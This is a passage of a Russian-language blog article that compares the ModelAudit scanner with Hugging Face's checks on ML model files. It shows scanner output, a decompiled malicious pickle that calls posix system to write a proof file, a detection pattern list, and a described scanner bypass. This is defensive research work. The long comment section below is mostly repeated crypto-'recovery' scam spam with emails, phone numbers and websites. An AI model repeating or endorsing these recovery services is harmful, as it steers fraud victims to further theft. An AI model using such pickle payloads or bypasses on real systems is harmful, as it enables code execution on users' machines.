        "opcode": "REDUCE",
        "ml_context_confidence": 0.315
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1774903884.5998695,
      "type": "pickle_check",
      "rule_code": "S201"
    }
  ],
  ...

Сразу 4 критических сработки, которые изначально сканер пропустил, потому что просто не применил проверки, соответствующие ZIP-архивам (хотя подходящие проверки уже встроены в инструмент).

Получается у нас есть Pickle файл, который ModelAudit подсвечивает несколькими критическими ошибками. Но может это просто очередные FP и вообще какая именно зловредная логика в него заложена?

С этим нам поможет Fickling – он помимо проверки Pickle файлов позволяет произвести символическую десериализацию с последующей декомпиляцией (другие особенности Fickling описал в предыдущей статье): 

> fickling --trace .\assets\cloned_models\etwithin_diffusers-ckpt-ace-poc\data.pkl
PROTO
EMPTY_DICT
        Pushed {}
BINPUT
        Memoized 0 -> {}
MARK

... <СОКРАЩЕНО> ...

from torch._utils import _rebuild_tensor_v2
from torch import FloatStorage
from collections import OrderedDict
_var0 = OrderedDict()
_var1 = _rebuild_tensor_v2(UNPICKLER.persistent_load(('storage', FloatStorage, '0', 'cpu', 11520)), 0, (320, 4, 3, 3), (36, 9, 3, 1), False, _var0)
from posix import system
_var2 = system('echo DIFFUSERS_ACE_PROOF > /tmp/diffusers_ace_proof.txt')
result0 = {'global_step': 1, 'state_dict': {'model.diffusion_model.input_blocks.0.0.weight': _var1}, 'payload': _var2}

По результатам декомпиляции видно, что этот файл при десериализации импортирует функцию system для выполнения команд в системной оболочке из модуля posix и выполняет bash-скрипт, перезаписывающий файл расположенный по пути /tmp/diffusers_ace_proof.txt. Такая полезная нагрузка представлена просто как PoC, естественно на ее месте мог быть любой другой скрипт, с более интересной и опасной механикой работы.

Подведем промежуточные итоги:

  • Все отобранные модели, которые были помечены опасными на Hugging Face сканер ModelAudit в версии 0.2.31 тоже рассчитал как опасные

  • Для ModelAudit в процессе сканирования могут вызывать сложности расширения, имеющие разные значения в зависимости от контекста

  • 26 моделей прошли все встроенные в Hugging Face проверки, но ModelAudit пометил их опасными

ModelAudit сигнализирует об опасности, но HuggingFace пропускает

Рассмотрим теперь те случаи, когда только ModelAudit посчитал модель опасной и для краткости сфокусируемся исключительно на тех моделях, которые получили хотя бы одну сработку критического уровня, к таковым относятся следующие модели:

[
	"AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc",
	"treforbenbow/tensorrt-engine-rce-poc",
	"an0n3/joblib-rce-poc",
	"0xiviel/poc-coremltools-rce",
	"etwithin/mlflow-scanner-bypass-poc",
	"etwithin/zip-scanner-bypass-poc",
	"etwithin/joblib-scanner-bypass-poc",
	"Madhan-Alagarsamy/Cache-Poisoning",
	"etwithin/pickle-scanner-bypass-poc",
	"optimus-fulcria/modelscan-h5-bypass-poc"
]

Набравшись опыта, анализ этих моделей я начал с пересканирования актуальной версией ModelAudit, ожидая увидеть в результатах как минимум то же или даже возросшее число критических сработок, но по факту одна из моделей даже утратила свою единственную сработку и теперь по версии и ModelAudit, и Hugging Face модель отмечается безопасной.

treforbenbow/tensorrt-engine-rce-poc
После изучения кода стало ясно – в более старых версиях в сканер .\modelaudit\scanners\tensorrt_scanner.py была заложена довольно примитивная логика проверки вхождения паттернов в виде строк в единый, считанный из файла набор данных:

SUSPICIOUS_PATTERNS = [
    b"/tmp/",
    b"../",
    b".so",
    b"python",
    b"import",
    b"exec",
    b"eval",
]

...

        for pattern in SUSPICIOUS_PATTERNS:
            if pattern in data:
                result.add_check(
                    name="Suspicious Pattern Detection",
                    passed=False,
                    message=f"Suspicious pattern '{pattern.decode('utf-8', 'ignore')}' found",
                    severity=IssueSeverity.CRITICAL,
                    location=path,
                    details={"pattern": pattern.decode("utf-8", "ignore")},
                )

После обновлений изменились паттерны (вероятно такие проверки были слишком "шумными") и их поиск теперь производится по отдельным строкам.

Накладывая новую логику сканирования на модель treforbenbow/tensorrt-engine-rce-poc выяснилось, что среди прочих полученных из файла строк оказались следующие: "TensorRT Engine RCE PoC - Code executed via embedded plugin LoadLibrary()\n", "PID: %d\n", "\n[!] TensorRT RCE PoC: Arbitrary code executed via embedded plugin!\n". На них сканер в новой версии не срабатывает, в отличии от предшествующей версии.

Данные строки больше похожи на комментарии, чем на паттерны, сигнализирующие о выполнении вложенного кода. Поэтому тот факт, что сканер в новой версии не триггерится на эти строки можно считать движением вперед, но, определенно, необходимы другие проверки наличия вложенных в файл опасных объектов.

Используя такую технику можно обойти механизм сканирования ModelAudit. Согласно его политике безопасности в числе прочего уязвимостями считаются такие недостатки, которые позволяют обойти гарантированные проверки.

В документации по связанному сканеру нет заявлений о детектировании вложенных .dll моделей, но зато прописан поиск вложенных разделяемых библиотек (к которым относится и .dll) с фокусом на линуксовые .so:

24d7b49c8718e48cb71bd825b438245c.png

Вдобавок политика запрещает открывать публичные "GitHub issue" для исправления недостатков:

Do not open a public GitHub issue. Public disclosure of unpatched vulnerabilities puts all ModelAudit users at risk. If this happens, maintainers may close the issue, redact sensitive details when possible, and redirect you to private reporting channels.

Нельзя – так нельзя. Не отступая от правил заполняю отчет по найденной уязвимости и наблюдаю за развитием событий. Через какое-то время появилось исправление – CHANGELOG.md.

Мне показались интересной первая реакция на отчет по уязвимости – после его отправки бот mldangelo-oai (ботом его считаю судя по суффиксу -oai и количеству коммитов) создал приватную ветку в репозитории modelaudit и сам сгенерировал исправления. Другой агент начал проверку, но она завершилось ошибкой:

700d9328ad77efb93ec74770a02cb6d8.png

Есть ли вообще люди в репозитории ModelAudit? Открываем страницу с дашбордом по количеству коммитов за последний месяц и видим:

6d01791d4ee5cb4cb30e72dd0f2bacaa.png

mldangelo - это GitHub аккаунт сооснователя и технического директора Promptfoo (ModelAudit является компонентом Promptfoo) Майкла Д'Анджело, по косвенным признакам складывается впечатление, что mldangelo-oai является аккаунтом кодинг-агента Майкла. Все остальные аккаунты из топ-8 тоже подобны ботам/агентам от разных провайдеров.

Оказывается ModelAudit больше поддерживается различными агентами, чем людьми и при этом является мощным конкурентом для аналогичных сканеров с открытым исходным кодом. Увидев такой уровень использования различных AI-агентов, я озадачился изучением способов их оркестрации, первыми заметками буду делиться в своем tg-канале BorZaseka.

Возвращаясь к сравнению результатов сканирования шустро пройдемся по остальным 9 моделям, которых опасными подсветил только ModelAudit.

AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc
Из описания репозитория модели:

This repo contains a malicious HDF5 file (malicious.h5) associated with upstream HDFGroup/hdf5 issue #5382 (reported against v1.14.6): heap-buffer-overflow in H5HL__fl_deserialize.

Критические сработки ModelAudit
  {
    "model_id": "AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc",
    "status": "scanned",
    "issues": [
      {
        "message": "Error scanning Keras H5 file: Link iteration failed (incorrect cache entry type)",
        "severity": "IssueSeverity.CRITICAL",
        "location": ".\\AgentRen_hdf5-h5hl-fl-deserialize-hbo-poc\\malicious.h5",
        "details": {
          "exception": "Link iteration failed (incorrect cache entry type)",
          "exception_type": "RuntimeError"
        },
        "why": "Scanning errors may indicate corrupted files, unsupported formats, or malicious content designed to crash security tools.",
        "timestamp": 1775382501.2975092,
        "type": "keras_h5_check",
        "rule_code": "S1005"
      },
      {
        "message": "Error scanning Keras H5 file: Link iteration failed (incorrect cache entry type)",
        "severity": "IssueSeverity.CRITICAL",
        "location": ".\\AgentRen_hdf5-h5hl-fl-deserialize-hbo-poc\\malicious.h5.zip:H5HL__fl_deserialize-hbo",
        "details": {
          "exception": "Link iteration failed (incorrect cache entry type)",
          "exception_type": "RuntimeError",
          "zip_entry": "H5HL__fl_deserialize-hbo"
        },
        "why": "Scanning errors may indicate corrupted files, unsupported formats, or malicious content designed to crash security tools.",
        "timestamp": 1775382501.5814996,
        "type": "keras_h5_check",
        "rule_code": "S1005"
      }
    ],
    "scanner_names": "['keras_h5', 'zip', 'metadata']",
    "downloads_per_month": 0
  },

Вывод - это True Positive сработка 🗿

Остальные модели на самом деле и так были отмечены опасными на HF, ошибка оказалась в моем алгоритме получения результатов проверок моделей из Hugging Face.

Итоги сравнения результатов сканирования ModelAudit и с встроенными в HF проверками
Если учесть все ложноотрицательные сработки ModelAudit исправленные в новых версиях вместе с теми, которые по ошибке не доносятся из HF, то получим следующую матрицу:

d4a6b077069f7fa118369c166c5c87c7.png

Как видно, все модели, которые были отмечены опасными по итогу встроенных в HF проверок так же оценены и сканером ModelAudit, помимо этого есть 17 моделей, которые по версии ModelAudit имеют хотя бы одну опасную сработку (info/warning/critical) и не имеют ни одного предупреждения от Hugging Face.

Выводы

Коротко и честно:

Не так я себе всё представлял, когда мы начинали

И правда ведь, начиналось всё это, как казалось, небольшое исследование с довольно простой идеи – давайте возьмем сканер который забыли интегрировать в Hugging Face и просканируем им тонну-другую ML-моделей, найдем множество зловредных и вместе ужаснемся.

Далее стало ясно – либо ModelAudit слеп в той же степени как и стандартные проверки в Hugging Face, либо действительно опасных моделей не так уж и много. Эксперименты были доработаны, в качестве целей выбраны наиболее подверженные риску форматы хранения, но все равно большинство сработок оказались ложноположительными, пришлось анализировать их. Впрочем это тоже результат.

Разбирать ложные сработки стало скучно, а в памяти из первой статьи все еще держалась мысль – ModelAudit обойти сложнее всего. Тогда сравним его с чем-то аналогичным и ответим на вопрос - можно ли обойтись всего одним инструментом, решительно закрыв им основные риски?

Из этого этапа я сделал следующие выводы:

  • ModelAudit в преобладающем числе случаев находит сработки в тех моделях, которые были отмечены опасными другими инструментами, генерируемые им предупреждения легко интерпретируются и даже позволяют найти соответствующий исходный код связанной проверки

  • Глубокое сравнение артефактов работы двух сложных механизмов, выполняющих одну функцию, позволяет по отклонениям довольно легко находить неочевидные недостатки в работе этих механизмов, даже без предварительного погружения в их устройство

  • Всё кончено - сканеры ML-моделей модифицируются и поддерживаются теми же моделями

P.S.: Выражаю благодарность за помощь в доработке статьи Сабрине Садиех, автору канала Data Blog

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  • 30.07.26 00:04 Ahmed

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  • 04.08.26 11:05 Kisnoles

    Excellent analysis, thank you. I was particularly struck by how rigidly the skill sets the order: data processing and form come first, with color coming last. This really cures the habit of "first a pretty palette, then we'll figure it out." A palette validator using OKLCH + color blindness + WCAG is something most chart generators lack. And regarding the boundaries of competence, it's very clear. Where there's a self-checking loop (color), you delegate freely. Where there's a heuristic (form, data interpretation), you remain the final filter. This is a universal principle, not just for /dataviz. By the way, when you look at trading dashboards (including those of decent platforms like ExpertOption), it's immediately clear who thought about readability and who just threw in rainbow lines. Tools like this skill could greatly improve the quality of analytics. Thanks again for the detailed analysis – saved.

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  • 12.08.26 16:37 rssllhrnsb

    I learned an important lesson after investing in what appeared to be a genuine opportunity. Unfortunately, I was unable to access my funds, which reinforced the importance of carrying out thorough due diligence, checking whether an investment is appropriately regulated, and seeking qualified professional advice rather than relying solely on online reviews or testimonials. During the process of addressing my case, I worked with Mrs. Tatiana Sorina , who communicated clearly, provided regular updates, and handled the matter in a professional manner. According to my experience, I have recovered $50,000 so far, while efforts to resolve the remaining balance are still in progress. If you wish to contact her, the details I used are: Mrs. Tatiana Sorina
TEXT : (tatianasorina06 at G_Ma IL dot ..c 0 m)…. Before committing money to any investment, take time to verify the legitimacy of the platform, confirm any relevant regulatory authorisations, and avoid investing more than you can comfortably afford to lose.

  • 16.08.26 01:44 Matt Kegan

    CapitalNode Analytics. They help to investigate and recover stolen digital assets from fake trading platforms. Great firm i must say.

  • 18.08.26 04:59 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone WhatsApp/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 18.08.26 04:59 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone WhatsApp/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 19.08.26 14:50 BAYER7043

    My account was locked, and I couldn’t access my own information until [email protected] +447476618364 whats?up? helped me recover it. This lady hacker was kind and professional, but this experience showed me how risky account lockouts can be. If you’re facing the same problem, do not panic consult her A. S. A. P. Be careful with recovery agents outchea, and research their name, business, and reviews before sharing any details. Never send passwords, security codes, banking information, or copies of your ID unless you’ve confirmed who you’re dealing with. Be wary of promises that sound too good to be true, especially claims that require little information or guarantee instant access with outrageous fees.

  • 20.08.26 11:32 michaeldavenport218

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR WhatsApp Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 20.08.26 11:32 michaeldavenport218

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR WhatsApp Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 23.08.26 20:02 leslieyee

    Excellent analysis by /dataviz! I was particularly struck by how strictly the order is defined: "data meaning first, color last" and how the validator actually adjusts the palette according to OKLCH, color blindness, and WCAG standards. These rules greatly improve the quality of charts. By the way, a similar approach to clean and legible charts is highly valued in trading—for example, on the ExpertOption platform, the interface and price visualization are designed to ensure information is read instantly and without unnecessary noise.

  • 25.08.26 13:44 lydiassmith567

    HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 25.08.26 13:44 lydiassmith567

    HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 30.08.26 15:37 [email protected]

    Discovering I had been defrauded, I searched online for services claiming to recover stolen ETH. I contacted several companies, but none succeeded. Although some claimed they could trace assets or recover funds, I could not verify their success or recover my money. I later found SYLVESTER BRYANT Recovery through Google. After contacting him, he recovered 450,000,00. He can be reached at [email protected] or WhatsApp at +1 512 577 7957.

  • 30.08.26 15:37 [email protected]

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  • 01.09.26 11:16 lisawerth897

    My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684

  • 01.09.26 11:16 lisawerth897

    My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684

  • 01.09.26 17:34 Garry42

    Really crazy world. These fraudsters go at any length to steal your hard earned funds. I have been a victim of a bitcoin scam about 7 months back. A Con artist gained access to my cashapp account through a phishing scam. They stole $409,000. I was really devastated. I did everything to get back my funds by contacting the FBI but they claimed there was nothing they could do. A friend told me about a recovery expert. He helps fight against various phishing and investment scams and they were able to help trace and recover my funds even though it took over 2 days. you can reach out to him through recoverydarek@gmail. com . I can guarantee his services are still active.

  • 01.09.26 17:34 Garry42

    Really crazy world. These fraudsters go at any length to steal your hard earned funds. I have been a victim of a bitcoin scam about 7 months back. A Con artist gained access to my cashapp account through a phishing scam. They stole $409,000. I was really devastated. I did everything to get back my funds by contacting the FBI but they claimed there was nothing they could do. A friend told me about a recovery expert. He helps fight against various phishing and investment scams and they were able to help trace and recover my funds even though it took over 2 days. you can reach out to him through recoverydarek@gmail. com . I can guarantee his services are still active.

  • 02.09.26 03:43 kimberlyhebertt6877

    I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684

  • 02.09.26 03:43 kimberlyhebertt6877

    I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684

  • 04.09.26 21:51 Kovengray

    Recovering your lost investment funds as the case might be, is not what you can do alone, you’d require the service of a trained recovery specialist. A recovery specialist is a person or a group of people who are well equipped to work around the brokerage network. They have vast knowledge about the whole network and have the right software and private keys to follow any transaction. I was ripped off trading online to an investment broker, good thing I got every penny back through the help of Gavin ray he’s a genius Contact : Gavinray78 at gmail com or WhatsApp +1 352 322 2096 It is also important to be patient and really calm during the process.

  • 05.09.26 21:38 [email protected]

    I invested 45,000  Euro, and later aggreviated to 198,000 Euro.  I requested  to place ‎Withdrawal of my funds to be paid to my Bank account. But nothing happened I was subjected to pay more fee until I can get my funds on my account, i got in touch with Theodore ryan here on this platform who had helped a lot of people, I followed all instructions and he legally got back my withheld funds, I got threatened by the company that if I don’t pay they will get my account frozen, all thanks to Theodore ryan and I highly recommend him to anyone dealing with an unregulated broker company… contact him on his Gmail - theodoreryan318@  gmail .  com

  • 09.09.26 21:31 lisawerth897

    My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684

  • 09.09.26 21:31 lisawerth897

    My Experience With Cryptocurrency — CAPITAL CRYPTO RECOVER I lost over $82,000 in Bitcoin after falling victim to a fraudulent online investment scheme. After realizing I had been scammed, I spent considerable time researching possible ways to recover my funds. During my research, I came across CAPITAL CRYPTO RECOVER and decided to contact them after reading their reported success record and encouraging client positive reviews and testimonials. Their team guided me through the recovery process, and I was grateful to successfully recover my lost cryptocurrency. The experience was challenging, but I appreciated the assistance and support I received throughout the process. I’m sharing my experience in the hope that it may encourage other victims to carefully research their options and verify any recovery service before proceeding. I will forever be thankful to you CAPITAL CRYPTO RECOVER 📧 [email protected] 🌐 Website: recovercapital.wixsite.com/capital-crypto-rec-1 📧 [email protected] 📞 Call/WhatsApp: +1 (336) 390-6684

  • 09.09.26 23:22 Fraddy Pual

    Hearing that these individuals are focusing on other people makes me very sad. I had a similar situation with them and lost a lot of money, but after learning about (Cruxcipherteam @ proton DoT me), whataqq:+168160-15021, telegram: @Cruxcipherteam I was able to get my money back. It's critical that we all be watchful and keep reporting these occurrences.

  • 11.09.26 03:23 kimberlyhebertt6877

    I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684

  • 11.09.26 03:23 kimberlyhebertt6877

    I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] WhatsApp/Text Number: +1 (336) 390-6684

  • 15.09.26 03:35 elioduncan

    I fell victim to a freelance web development contract scam that ultimately cost me CAD 4,000. It all started when I came across a job posting on Indeed Canada, a popular online job portal. The position seemed perfect: a freelance web developer role for an established company looking for someone to design and build a fully functional e-commerce website. The job promised a high payment of CAD 20,000 upon successful completion, which sounded like a great opportunity for me to gain experience and earn decent pay.The employer, who introduced himself as a project manager from a "well-known" tech company, was very persuasive and professional in our initial communication. He explained that the project involved developing a user-friendly, responsive online store for their client and that they had a strict timeline to meet. He assured me that the payment would be made promptly after completing the tasks. However, before starting the work, he told me that I would need to pay an upfront fee of CAD 4,000 to cover certain software tools and licensing fees required for the project. This was supposedly a part of their company policy for freelance contractors, ensuring access to their premium resources. The idea of working on a professional project, coupled with the promise of a substantial payout, convinced me to pay the upfront fee.As soon as I made the payment, the project manager became increasingly difficult to reach. He initially responded to my emails and provided some vague instructions on what the project would entail, but as time went on, communication slowed to a complete halt. I never received the required tools or any proper project details. My emails went unanswered, and any attempts to contact the company were met with silence. After waiting for weeks, I realized that I had been scammed.Desperate to recover my money, I turned to TechY Force Cyber Retrieval, a service that specializes in helping victims of online scams. They helped me track the payment and took legal steps to pursue the fraudsters. Through their guidance, I was able to recover the full CAD 4,000. TechY Force Cyber Retrieval worked with my bank to reverse the transaction and liaised with the authorities to trace the scammer's details.This was a hard lesson, and I now know to be highly cautious about online job offers that require upfront payments. It is crucial to research companies thoroughly and avoid any job that seems too good to be true, especially when it involves paying money upfront. WhatsApp https://wa.link/2x6ktp Mail. [email protected]

  • 15.09.26 15:45 lydiassmith567

    HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.09.26 15:45 lydiassmith567

    HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 05.10.26 21:26 [email protected]

